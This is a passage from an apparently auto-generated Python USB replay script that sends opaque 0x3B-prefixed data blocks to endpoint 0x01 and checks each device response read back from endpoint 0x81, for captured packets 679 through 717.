b\"\\x5A\\xDA\\x51\\x6E\\x52\\x74\\x2A\\xD8\\xC2\\xEE\\x1D\\xAE\\xEB\\x65\\xD0\\x20\"\n b\"\\xE5\\x61\\x0E\\x2E\\xEA\\x58\\x5A\\x7A\\xA1\\x43\\xC6\\xB6\\xD1\\x01\\x02\\x97\"\n b\"\\xD3\\x9E\\x0E\\x0C\\x04\\x3F\\x3F\\xDD\\x2F\\x5F\\x9B\\x55\\x70\\x0F\\x7E\\x54\"\n b\"\\x23\\xCC\\x1C\\xC7\\x90\\x94\\x53\\xCA\\x27\\xD8\\x07\\x27\\x12\\x97\\x95\\xB8\"\n b\"\\x2A\\xEA\\xEE\\x55\\xBB\\x4A\\xAB\\x1F\\x6E\\x09\\x3D\\xBB\\xB2\\xA0\\x48\\x9C\"\n b\"\\x5F\\x80\\x92\\x5D\\x68\\xB3\\x4D\\x8E\\x78\\x0E\\x49\\x9D\\xA3\\xDB\\xC2\\xC1\"\n b\"\\xCD\\xF6\\x16\\x9E\\x0F\\x86\\x5D\\x43\\xEF\\x4E\\x5D\\xCF\")\n # Generated from packet 679/680\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 679/680\")\n # Generated from packet 681/682\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB7\\xE8\\xAD\\xBF\\x61\\x3A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFA\\x28\\x94\\x1E\\xD3\\x21\\x64\\xBA\"\n b\"\\xA1\\xFA\\x53\\x6A\\x1B\\xAE\\x26\\x9F\\x1B\\x35\\x25\\x6B\\xEF\\x2F\\xC9\\xF7\"\n b\"\\x2E\\xAD\\xD8\\x66\\x06\\x40\\x18\\xAB\\x31\\xBA\\x8B\\x68\\x56\\x69\\x63\\xEC\"\n b\"\\x5C\\xD2\\xF1\\x17\\x22\\xA5\\xBA\\x02\\x16\\xBD\\x36\\x52\\xB7\\x16\\xD4\\xE8\"\n b\"\\xC4\\xB6\\x50\\xC2\\x94\\xB7\\xD8\\x2C\\x5B\\x95\\x55\\x26\\x4C\\x0D\\xDF\\xBD\"\n b\"\\x6C\\xD1\\xFB\\xA5\\xE8\\xE1\\x3F\\x3B\\xBA\\xAD\\xB3\\xE9\\x71\\x47\\x0A\\x11\"\n b\"\\x41\\xF0\\x1F\\x4A\\x15\\xAB\\x61\\xAE\\xF0\\xC0\\xC8\\xF6\\x2A\\x6A\\x96\\x40\"\n b\"\\x61\\xA3\\xE6\\xD1\\x93\\x7D\\x2F\\xBE\\x7A\\x04\\x5B\\x28\\xCC\\x08\\xEB\\x83\"\n b\"\\xB8\\x4F\\xFA\\xDC\\xF8\\x43\\xA0\\xCE\\xBC\\x9D\\x12\\xB0\\xA1\\xC5\\xE2\\x5C\"\n b\"\\x8B\\xAB\\x63\\xD5\\x65\\x59\\xD8\\x22\\xE2\\xDA\\xE3\\x72\\xF5\\xD5\\x68\\xA4\"\n b\"\\x3A\\x4F\\x28\\xCB\\x5C\\x82\\x73\\x12\\x3A\\x16\\x2C\\x21\\x2A\\x87\\x5F\\xAB\"\n b\"\\x42\\x06\\x23\\xF3\\x82\\x68\\x97\\x26\\x31\\x69\\x41\\xD1\\xD0\\x36\\x9F\\x86\"\n b\"\\x92\\xEF\\x1A\\x70\\x80\\x12\\x7A\\x94\\xEB\\x91\\xCA\\x27\\x67\\x76\\x46\\x36\"\n b\"\\xF5\\xFA\\x83\\x4B\\xA7\\x7E\\x1E\\x04\\x85\\xDA\\x96\\xC7\\x0E\\xDE\\xC5\\xD4\"\n b\"\\x05\\xB3\\xF8\\xC3\\xB1\\xE1\\xFE\\x37\\xA3\\xE4\\x2A\\x21\\xFE\\x8E\\x1C\\xC7\"\n b\"\\x4D\\xD6\\x5B\\x84\\xFA\\x9A\\xA6\\x27\\xCF\\xD5\\x9D\\xF6\\xF7\\xA8\\xEE\\x55\"\n b\"\\x66\\x08\\xA3\\xD1\\xB3\\x4B\\x96\\xBB\\x6F\\xE2\\x40\\x52\")\n # Generated from packet 683/684\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 683/684\")\n # Generated from packet 685/686\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x55\\x88\\x10\\x4A\\xCD\\x22\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x19\\x81\\xED\\xE7\\xF2\\xC9\\xC5\\xBD\"\n b\"\\x2F\\x3C\\xDE\\xD2\\x0F\\x66\\xE6\\x0F\\x7B\\xC8\\x23\\x37\\x49\\x9E\\xC0\\xE8\"\n b\"\\x6B\\x07\\x92\\x09\\x3E\\x98\\x91\\xB4\\x2A\\xF3\\x22\\x10\\x66\\xF7\\xB8\\xD4\"\n b\"\\x08\\x22\\xEC\\x55\\x29\\x9E\\x1A\\x3B\\x76\\xDE\\x8F\\xBF\\x08\\x80\\x3E\\x25\"\n b\"\\x6F\\xE6\\x74\\x32\\xE8\\x67\\x84\\x28\\xFF\\x78\\x01\\x41\\x30\\xF2\\x5F\\xF7\"\n b\"\\x56\\x3F\\x0E\\xF9\\x30\\xAB\\x4B\\x11\\x20\\x2A\\x34\\xA1\\xCC\\xB9\\xCC\\xEB\"\n b\"\\x53\\x63\\xC2\\x28\\xA2\\x22\\xCC\\xA6\\xB9\\x8B\\x26\\x70\\x1C\\x72\\xF5\\xC7\"\n b\"\\x15\\x11\\x76\\x94\\xC7\\x06\\x7B\\x34\\x14\\xD2\\x64\\xAD\\x01\\x2C\\x32\\x1C\"\n b\"\\x93\\xE3\\x73\\xC1\\x24\\x10\\x6C\\xB6\\x34\\x4A\\x62\\xAA\\x98\\xB1\\x77\\x7D\"\n b\"\\xFE\\xC9\\xF5\\xDD\\xC5\\x54\\xE9\\x55\\xE3\\x74\\xA3\\x14\\x61\\x51\\x60\\x49\"\n b\"\\x44\\x23\\x47\\xE1\\x6E\\x11\\x38\\xF8\\xCA\\x42\\x2B\\xB1\\xC5\\xCD\\x2E\\x58\"\n b\"\\xA4\\x09\\xD5\\x47\\x07\\xBF\\xFA\\xB5\\xB0\\x40\\x58\\x30\\xB1\\x7D\\x46\\xD4\"\n b\"\\x7A\\xAB\\x4A\\xC3\\x74\\x5C\\x00\\xAE\\xCF\\xFF\\xC4\\x10\\x46\\x58\\xFC\\xD1\"\n b\"\\x81\\x25\\x97\\x39\\xEC\\x7D\\x80\\x63\\xA7\\x09\\xAB\\x98\\x27\\x1E\\xC5\\xF3\"\n b\"\\x72\\x32\\xDF\\x4D\\x39\\xF9\\xFA\\x61\\x76\\x3D\\x1F\\x96\\x48\\x50\\x88\\xEC\"\n b\"\\x4F\\xF6\\x96\\x47\\xC6\\xFA\\x5C\\x0A\\x72\\xBB\\xB4\\x13\\x81\\x2C\\x6F\\x33\"\n b\"\\xC1\\xE6\\x21\\x55\\x91\\x46\\xB8\\xB4\\x95\\xA2\\x21\\x90\")\n # Generated from packet 687/688\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 687/688\")\n # Generated from packet 689/690\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x05\\xF1\\xB3\\x99\\xD1\\x7D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x93\\xF9\\xE3\\x26\\xB1\\x64\\xD5\\x51\"\n b\"\\x35\\x3F\\x66\\xCD\\x55\\x84\\x6E\\xA5\\xF8\\xFC\\xBF\\x88\\xE8\\x31\\x35\\x1B\"\n b\"\\x33\\x8E\\xD1\\x7C\\xAD\\x01\\xF9\\x79\\x46\\x20\\x18\\xA0\\x02\\x0A\\x1A\\x25\"\n b\"\\xD3\\x14\\xA5\\x23\\xD9\\xDB\\x44\\xBC\\xE0\\xBA\\xAC\\xB2\\xBB\\x39\\x37\\xB8\"\n b\"\\x6A\\xC6\\x16\\x9B\\xF4\\xF6\\xAB\\xCF\\xF4\\xF8\\xE0\\x55\\x03\\x28\\x64\\x2A\"\n b\"\\x7E\\x93\\x16\\xE0\\xA9\\x98\\xB2\\x38\\x83\\x8D\\x0A\\x09\\x7B\\x40\\x45\\x63\"\n b\"\\x85\\x55\\x48\\x53\\x01\\xE4\\x25\\x11\\x15\\x11\\x14\\x8E\\xD9\\x32\\x62\\x46\"\n b\"\\x99\\x55\\xE4\\xF1\\x53\\x44\\x14\\x52\\x8A\\xB8\\x8F\\xA7\\x40\\x3F\\x6D\\xFD\"\n b\"\\xF8\\x4C\\x90\\xEC\\xA7\\x51\\xF4\\x63\\x8B\\xD9\\xF1\\xC2\\x1E\\x8F\\x10\\xEE\"\n b\"\\xC6\\xAB\\x13\\x31\\xF5\\x8B\\xC1\\x5E\\xB6\\x69\\xF7\\xAE\\x4D\\xA2\\xC5\\x41\"\n b\"\\x55\\x5F\\xF1\\xF6\\x7F\\xA9\\x4A\\xCA\\x86\\x11\\xF1\\xD9\\xF8\\x2A\\x5F\\xE9\"\n b\"\\xD6\\x89\\xD6\\xAD\\x42\\x33\\x59\\x90\\xE7\\x43\\xFC\\xA2\\xA0\\x99\\x70\\xBC\"\n b\"\\x81\\x56\\xD1\\xDF\\x1C\\x2E\\x16\\xED\\xCD\\x51\\x31\\x6F\\xB4\\x87\\x79\\x86\"\n b\"\\xA5\\x10\\x1A\\xA3\\x57\\x3F\\x39\\xE3\\x01\\x93\\x50\\xC2\\x17\\xE9\\x0F\\x82\"\n b\"\\x54\\x57\\xDC\\xE8\\x29\\x61\\x7E\\x12\\xE3\\xA7\\x04\\x4E\\x9E\\x5A\\xF9\\x26\"\n b\"\\xE9\\x15\\x98\\xE7\\xCF\\xF6\\x2D\\x73\\x6E\\x96\\x8D\\xCD\\x87\\xAF\\x7A\\x70\"\n b\"\\xB3\\x87\\x2B\\x33\\x3A\\x24\\x0A\\x72\\x7A\\x30\\x0D\\xDD\")\n # Generated from packet 691/692\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 691/692\")\n # Generated from packet 693/694\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDF\\x18\\xBB\\xB5\\x1E\\x26\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3F\\xB5\\x4F\\x7C\\x5E\\x29\\x00\\xE0\"\n b\"\\xC2\\x5B\\x08\\xBD\\x9F\\x80\\x55\\x12\\x6B\\x97\\x9E\\xD4\\xEA\\x4E\\x40\\x89\"\n b\"\\x55\\xCC\\x98\\x72\\x21\\xF0\\x3E\\x4D\\x2A\\x94\\x2E\\xAD\\xD6\\x36\\x61\\xEF\"\n b\"\\xBA\\x3C\\x97\\x62\\x0E\\x4A\\x2E\\x8E\\x48\\x52\\x72\\xF6\\x66\\xE7\\xFF\\x72\"\n b\"\\x87\\x68\\x1B\\x15\\x6F\\x76\\x81\\x96\\x3A\\x61\\xBE\\xE9\\xB5\\xCF\\x1B\\x77\"\n b\"\\x76\\xE7\\x76\\x13\\xBC\\x2F\\x81\\xA8\\x38\\x5E\\xF8\\x29\\x1F\\x2B\\x45\\x76\"\n b\"\\x3F\\x60\\xE2\\x1C\\x40\\xF5\\x0A\\x5F\\x33\\x19\\x78\\x78\\x92\\xBD\\x3B\\x4B\"\n b\"\\xFA\\x91\\x17\\x94\\x94\\xEA\\x8A\\x21\\xBD\\xB3\\x66\\xC9\\x31\\x9A\\x34\\xD7\"\n b\"\\x63\\xD9\\x93\\x57\\x93\\xEA\\xE0\\xED\\x1B\\xA7\\x05\\x62\\x99\\x21\\xE6\\x83\"\n b\"\\x7A\\xBF\\x2C\\xC2\\xFC\\x4B\\xB9\\x94\\x61\\x5B\\x7A\\xED\\xD0\\xF5\\xDB\\xC7\"\n b\"\\xD9\\xC6\\x05\\x74\\x8C\\x25\\xE2\\xEC\\xB6\\xC6\\x6B\\x51\\xED\\xAE\\xDA\\xA8\"\n b\"\\x27\\x06\\xF7\\x56\\x79\\x85\\x84\\x89\\x52\\xD0\\xBD\\x75\\x4E\\xF7\\xA0\\x2E\"\n b\"\\x0F\\xE0\\x13\\x05\\x5A\\x04\\xDE\\xEA\\x2C\\xDC\\xD8\\xCD\\xC0\\x86\\x65\\x4D\"\n b\"\\x09\\x2B\\x66\\xA3\\x2E\\xFA\\x68\\x98\\xE1\\x7C\\x34\\xEC\\x93\\xE7\\xE1\\x20\"\n b\"\\xFA\\x27\\x37\\x5E\\x93\\x16\\xF0\\xA7\\xCC\\x46\\x62\\x9A\\x1F\\x26\\xAE\\x33\"\n b\"\\x22\\x66\\x94\\x5A\\x87\\x8E\\xFF\\xCB\\x9D\\xB3\\xDB\\x22\\x5B\\x23\\xE9\\x7A\"\n b\"\\xEE\\xA7\\x56\\x99\\x4E\\x09\\xA1\\xE2\\xFE\\xA6\\x75\\x69\")\n # Generated from packet 695/696\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 695/696\")\n # Generated from packet 697/698\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xFC\\xFE\\x79\\x15\\x9D\\x5E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x31\\x59\\x84\\xBE\\x89\\x03\\x78\\x09\"\n b\"\\xDA\\xCC\\x20\\x58\\x16\\xD8\\x47\\x27\\x70\\xA2\\x0E\\x1A\\x55\\xC9\\x87\\x8E\"\n b\"\\xE5\\xEF\\xD5\\x81\\xC7\\xA3\\x2B\\x6F\\x23\\x11\\x12\\xF9\\x15\\xA8\\xB6\\x31\"\n b\"\\x56\\x1A\\x33\\x0F\\xD0\\xF5\\x70\\x2E\\xEC\\x0B\\x8A\\x4A\\xAF\\x41\\x36\\xD9\"\n b\"\\xA5\\xC3\\x32\\xAC\\xF8\\x3C\\x99\\xB4\\xD8\\x84\\x3E\\x07\\x3C\\xAB\\x2E\\x48\"\n b\"\\xCD\\xEA\\x98\\x61\\x6D\\x46\\x38\\xB2\\x15\\x98\\x7D\\x58\\x9D\\xED\\xF6\\x39\"\n b\"\\xA3\\x8A\\x5C\\x19\\x5D\\x96\\x5A\\xB8\\x64\\x1D\\xC0\\xE1\\xEA\\x7F\\xD9\\x98\"\n b\"\\xBC\\x74\\x1E\\xFF\\x82\\x25\\x1A\\xE9\\x85\\xE8\\xC5\\x80\\xC7\\xBB\\x86\\xAF\"\n b\"\\x58\\xB2\\x24\\x9F\\xF2\\x2F\\xF4\\x59\\xEA\\x73\\xFB\\x0D\\xBD\\x4A\\x71\\x24\"\n b\"\\xCC\\x34\\x80\\xBF\\x65\\x16\\x39\\xD3\\x50\\x59\\x9D\\x31\\x68\\x2E\\xE0\\x88\"\n b\"\\xB4\\xB7\\x2E\\x97\\x6F\\x7B\\xD5\\x09\\xB3\\x91\\xC9\\x89\\xD9\\xDE\\x56\\x00\"\n b\"\\xFF\\x53\\x19\\x5A\\xE1\\x76\\x43\\x93\\x70\\x62\\xB1\\x90\\x10\\x86\\x4F\\xF0\"\n b\"\\xD2\\xEC\\x3A\\xDB\\xAD\\x8E\\x7B\\x52\\xC0\\x75\\x78\\x6A\\xA9\\x6F\\xD9\\xE1\"\n b\"\\x98\\xE6\\x6E\\x45\\xB2\\x31\\xC0\\xA0\\xAC\\x88\\x17\\xDE\\x72\\x7D\\x7D\\x72\"\n b\"\\x46\\x93\\x2E\\x4C\\x4B\\x00\\xE8\\xD8\\x20\\x79\\x16\\x9A\\x6B\\xEB\\xB4\\x13\"\n b\"\\x81\\x89\\x12\\x1F\\xCB\\x69\\xC0\\xF1\\x5E\\xC7\\x77\\xEC\\x46\\x9F\\xA6\\xAF\"\n b\"\\x63\\xAC\\xC5\\x9A\\x2E\\x75\\x45\\x48\\x0D\\x15\\xE4\\x0C\")\n # Generated from packet 699/700\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 699/700\")\n # Generated from packet 701/702\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF7\\x6D\\x17\\x3A\\x9C\\x48\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1B\\x49\\x92\\xEF\\xE1\\xCA\\xA1\\xC8\"\n b\"\\x32\\x32\\xBC\\xBE\\x6C\\x59\\x86\\x83\\xEF\\x40\\x61\\x2A\\x08\\x36\\x60\\xFC\"\n b\"\\x86\\x7B\\x49\\xA8\\xF7\\xD3\\x59\\xEF\\xF6\\xDC\\x70\\xCF\\xE4\\x3E\\xD7\\xA4\"\n b\"\\x3C\\x62\\x4D\\x15\\x36\\x42\\x0E\\x30\\xA3\\x6D\\x8A\\xB8\\xEB\\x1E\\x20\\x9D\"\n b\"\\xB7\\xAC\\xA8\\x07\\x43\\x7B\\x66\\x6B\\x03\\x05\\x6D\\x73\\x4F\\xBF\\xC0\\xD2\"\n b\"\\x33\\xFC\\x5A\\x43\\x51\\xB7\\x2B\\x15\\x7B\\x3F\\xC1\\x6B\\x46\\x18\\x6A\\xFE\"\n b\"\\x42\\x9D\\x4F\\x6C\\xA7\\x52\\x04\\x1B\\x8C\\xFC\\xC3\\xA8\\x44\\x73\\x48\\x0E\"\n b\"\\x6D\\x2A\\x03\\x9C\\x02\\x44\\xC0\\x21\\xCB\\xEB\\x51\\x96\\x14\\x05\\x6A\\xDB\"\n b\"\\xEB\\x58\\x37\\xF7\\x85\\xA5\\x70\\x44\\xD2\\x73\\x27\\xC0\\xDD\\xA3\\xE0\\x0B\"\n b\"\\x86\\x71\\xC2\\xC1\\xF7\\x33\\xB3\\x61\\x2E\\x93\\x5C\\xE4\\x1D\\x2A\\xA9\\x7C\"\n b\"\\xE3\\x85\\x2D\\xE7\\x45\\x72\\x4A\\x74\\x9E\\xAD\\x61\\x4A\\x10\\x6F\\x86\\x61\"\n b\"\\x1E\\xF3\\x63\\xB0\\x3A\\xC3\\xA8\\xB3\\xB0\\xE5\\x06\\x7C\\x77\\x7E\\x8F\\xEE\"\n b\"\\xD5\\xB8\\xC2\\x7B\\x16\\xFF\\xD4\\x64\\xA5\\xB3\\x63\\x8F\\xAE\\xBD\\xBA\\x56\"\n b\"\\xCF\\x59\\x49\\x96\\x26\\x01\\xE4\\x03\\xE3\\xBD\\x2C\\x0B\\x57\\xE2\\xF7\\x8F\"\n b\"\\x67\\x43\\x4A\\x56\\xDE\\xE2\\x11\\x0C\\x64\\xC0\\x53\\xBA\\x83\\x1F\\x97\\xBB\"\n b\"\\x85\\xEA\\xCA\\x7B\\xF9\\x6A\\x1B\\xDA\\x17\\x69\\xEE\\x8A\\xB0\\x83\\xD8\\xBB\"\n b\"\\xC4\\x06\\xD8\\x99\\xD1\\xA1\\x61\\x60\\x92\\xC1\\x3B\\x96\")\n # Generated from packet 703/704\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 703/704\")\n # Generated from packet 705/706\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x1D\\xC4\\xCA\\x32\\x16\\x19\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1F\\x98\\x56\\x18\\x38\\xE1\\xB2\\x57\"\n b\"\\x9A\\x02\\x02\\x44\\x27\\x97\\x38\\x8D\\x81\\x94\\xC1\\x76\\x01\\x82\\x0F\\xFF\"\n b\"\\x3F\\xED\\xA3\\xD0\\xC1\\xDF\\x19\\x94\\x0D\\x70\\x16\\xDA\\xBD\\x15\\xAA\\xD1\"\n b\"\\x45\\x97\\xF7\\xF3\\x34\\xE3\\x7D\\xAD\\xC2\\x0D\\xBB\\x4D\\x0F\\xB6\\x1F\\x72\"\n b\"\\x16\\x25\\x2E\\x4F\\x4C\\xEE\\x69\\xB6\\x72\\xF7\\x93\\x2E\\xF0\\x12\\x36\\xF1\"\n b\"\\x40\\xCB\\xC0\\x06\\x5A\\xD9\\xCF\\xFA\\x2A\\xF3\\xF1\\xE3\\xD9\\x50\\x7D\\x54\"\n b\"\\xEB\\xF5\\x0C\\xE6\\xDB\\x9D\\xE4\\x3D\\x03\\x2D\\x75\\x36\\xFC\\x3A\\xF3\\x35\"\n b\"\\xAD\\xFF\\x16\\x8D\\xE9\\xE9\\x69\\xC5\\xE8\\x4B\\xC7\\x73\\xD0\\x30\\x26\\x2C\"\n b\"\\xF5\\xCA\\x3C\\x9F\\xB7\\x59\\x58\\x69\\x0D\\xCE\\x4C\\x1E\\x20\\x79\\x1E\\x3B\"\n b\"\\x3D\\x0A\\x12\\x8C\\x44\\x22\\xCA\\xC4\\xB8\\x0D\\x69\\x89\\xBC\\xE4\\x14\\xC8\"\n b\"\\x51\\x57\\x7A\\x1B\\x2F\\x99\\xFE\\x4C\\xC8\\xA9\\xF0\\x04\\x0C\\xF2\\x29\\x4F\"\n b\"\\x20\\x65\\x67\\xB4\\x68\\x47\\x55\\x62\\x61\\x81\\xBB\\xA5\\x82\\xB5\\xF9\\xA9\"\n b\"\\x8C\\x4C\\x3F\\x39\\x9D\\xFC\\xA2\\xC1\\x42\\x95\\xB5\\x66\\x89\\x71\\x36\\xA1\"\n b\"\\x54\\x5B\\xDC\\x7F\\x78\\x9D\\xB5\\xDE\\xE2\\xC4\\xB5\\xD7\\x69\\x83\\xC0\\xE8\"\n b\"\\x1A\\x8C\\x92\\x09\\x47\\x73\\x40\\x88\\xAD\\xC0\\x53\\xF3\\x0B\\xB9\\x7D\\xC7\"\n b\"\\xEE\\xD3\\x24\\x42\\xDF\\x0F\\xC8\\xC8\\x8A\\xB9\\x36\\x21\\x5F\\x43\\xD4\\x0D\"\n b\"\\x14\\x83\\xBD\\xE7\\xD9\\xB0\\x48\\x9A\\x84\\x1F\\x0B\\xC3\")\n # Generated from packet 707/708\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 707/708\")\n # Generated from packet 709/710\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA1\\x72\\xD2\\xDA\\x72\\x61\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC4\\xE1\\xEE\\xDC\\xF6\\xDC\\xDA\\x0C\"\n b\"\\x39\\xFE\\x55\\x26\\x3C\\xE4\\x9D\\xA5\\xC4\\xB8\\xE1\\x8C\\x49\\x79\\xA0\\x97\"\n b\"\\x74\\xD6\\x6E\\x5F\\x17\\x09\\x8D\\x6E\\x50\\x11\\x39\\xA8\\x10\\x4A\\x86\\x2D\"\n b\"\\x88\\x02\\x43\\x2D\\x5A\\xC8\\x23\\x37\\xAC\\xF8\\x8A\\x48\\xE7\\x2F\\x92\\x09\"\n b\"\\xD3\\xFD\\x0E\\x1A\\xAA\\xA8\\x9B\\x84\\x2C\\xA2\\xCA\\xF6\\x42\\x7F\\x4D\\x6B\"\n b\"\\x6F\\xA1\\xA7\\x81\\xE9\\x77\\x24\\xC8\\x34\\x76\\x34\\xA1\\x88\\x8C\\xBD\\xC7\"\n b\"\\xC9\\x23\\x6E\\x9A\\x79\\x53\\x1B\\x47\\x54\\x80\\xB5\\x43\\xD0\\x10\\x04\\x10\"\n b\"\\x44\\xD9\\xB3\\xF1\\xA8\\x5C\\xB1\\xB6\\xDD\\xF3\\xAE\\x15\\x26\\x4A\\x06\\xCA\"\n b\"\\x54\\x54\\x07\\xDD\\x4E\\xE3\\x00\\x39\\xEB\\x1A\\xE7\\x0A\\x27\\x75\\x90\\x34\"\n b\"\\xD4\\xFA\\xD0\\x20\\x48\\x6A\\x0C\\x2A\\xCA\\xCD\\xDE\\x45\\x88\\x75\\x5B\\x30\"\n b\"\\xE6\\x11\\x58\\xC7\\xF0\\xAB\\x66\\x83\\xFC\\x43\\xFA\\xFB\\x91\\xD6\\x73\\xD1\"\n b\"\\x53\\x38\\xDD\\x2D\\x43\\xE2\\xA4\\x18\\xF2\\x0B\\xE0\\x8B\\xB3\\x49\\x61\\xBB\"\n b\"\\x50\\xA4\\xB2\\xB9\\x33\\x2B\\x9D\\xB4\\x1A\\xA2\\x2E\\x46\\x33\\x82\\xD7\\x53\"\n b\"\\x00\\x36\\xDF\\xDF\\x72\\xDB\\xBA\\x89\\x48\\x04\\x3A\\x15\\x6A\\xF6\\x1B\\xA0\"\n b\"\\xA7\\x04\\x82\\x46\\x31\\x5F\\xC4\\x43\\x6C\\xF1\\xDA\\x71\\xA2\\x05\\xA5\\x17\"\n b\"\\xCB\\x9F\\x23\\x52\\x3A\\x03\\xD1\\xD1\\xB8\\x1F\\x37\\xB3\\x82\\x55\\xC7\\x7C\"\n b\"\\xCE\\x5A\\xDB\\x21\\x9F\\xBA\\x7D\\x72\\xB1\\xBA\\xA9\\x2C\")\n # Generated from packet 711/712\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 711/712\")\n # Generated from packet 713/714\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x80\\x9C\\x25\\xB0\\x72\\x6B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE6\\xE9\\x8B\\xB3\\x91\\xD0\\x40\\x94\"\n b\"\\xA1\\xC0\\xB8\\x06\\xC8\\xC2\\x72\\xB7\\x9D\\x05\\xF2\\x96\\x8B\\xAB\\x79\\x2D\"\n b\"\\xA7\\x85\\x96\\x78\\x86\\x19\\xA2\\x06\\x37\\xCC\\xA1\\xB5\\x39\\xB3\\xBB\\x25\"\n b\"\\x11\\x2B\\x00\\x62\\x51\\xD0\\xEC\\x29\\xDD\\xCD\\x9D\\xF2\\x21\\x73\\xC9\\x9E\"\n b\"\\xF4\\x70\\x8F\\xD8\\x64\\xBE\\x4D\\x6C\\x4E\\xBB\\x12\\xA3\\x94\\x3B\\x7A\\xD0\"\n b\"\\x96\\x79\\x62\\xA7\\x53\\xC3\\x93\\xAE\\x6A\\x77\\xD9\\x03\\x89\\x28\\x89\\xB8\"\n b\"\\x27\\x7F\\x74\\xC9\\x13\\x43\\xA3\\xEF\\xA5\\x44\\xA4\\xA9\\x59\\x62\\x5A\\x87\"\n b\"\\xC4\\x16\\x5D\\xB6\\x6E\\xCD\\x45\\x35\\x90\\x02\\x8F\\xF7\\x80\\xBD\\x09\\xD5\"\n b\"\\xB9\\x03\\x33\\x8D\\xDE\\x53\\xAA\\xC8\\x01\\xFD\\x41\\xFD\\x0C\\x47\\x42\\x61\"\n b\"\\x78\\x98\\x58\\xDE\\x88\\xDB\\x3E\\x65\\x04\\xF2\\x90\\x7A\\x91\\x70\\x6C\\x81\"\n b\"\\xB6\\xA0\\x22\\x1B\\x2B\\xE8\\xD8\\x34\\x9F\\x60\\x98\\x49\\x3F\\x49\\x79\\xB7\"\n b\"\\x88\\xDE\\xF9\\x80\\xE1\\xDA\\xE3\\x92\\xCD\\x14\\x16\\xDD\\x91\\x47\\xEF\\xD1\"\n b\"\\x2A\\xDB\\x91\\xFF\\x69\\xCA\\xE0\\xB3\\xAD\\xC0\\x96\\xBD\\x18\\xE4\\x32\\x81\"\n b\"\\xB0\\x33\\x0F\\x8F\\xAA\\xFE\\x05\\xA1\\x53\\x1E\\xAB\\x45\\x1B\\x93\\xF4\\x20\"\n b\"\\x80\\xA6\\x49\\xEB\\x3B\\xFF\\x2E\\xE5\\xB8\\x05\\xA4\\xF0\\xBF\\xB8\\x92\\xAB\"\n b\"\\xBD\\x63\\x83\\x4C\\x01\\xE8\\x53\\xB5\\x52\\xCC\\xAB\\x08\\xC9\\xFE\\x0D\\xF4\"\n b\"\\xB4\\xA1\\x0E\\x41\\x05\\x7D\\xF4\\xB0\\x8D\\xD9\\x88\\x3C\")\n # Generated from packet 715/716\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 715/716\")\n # Generated from packet 717/718\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB0\\x67\\xA1\\xC8\\xE6\\x32\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x0B\\xDF\\xD3\\x6E\\x25\\xAB\\x7B\"\n b\"\\xBD\\xEF\\x88\\x35\\x76\\xA6\\x05\\xA6\\x0B\\x6F\\x5D\\xDD\\x67\\x73\\x6A\\x15\"\n b\"\\xFD\\xB0\\x1F\\x98\\x7E\\xA0\\x57\\xBB\\x10\\xE7\\x4F\\x8F\\xEF\\x5A\\x5C\\xD3\"\n b\"\\xB7\\x6A\\x40\\x08\\x75\\x9B\\x6B\\xB5\\x88\\xF6\\xF9\\xFE\\xFE\\x72\\x54\\xB3\"\n b\"\\xDC\\x5F\\x71\\x8A\\xD0\\xA1\\xC4\\xC5\\x88\\x21\\xCF\\x29\\xF4\\x3A\\xB0\\x66\"\n 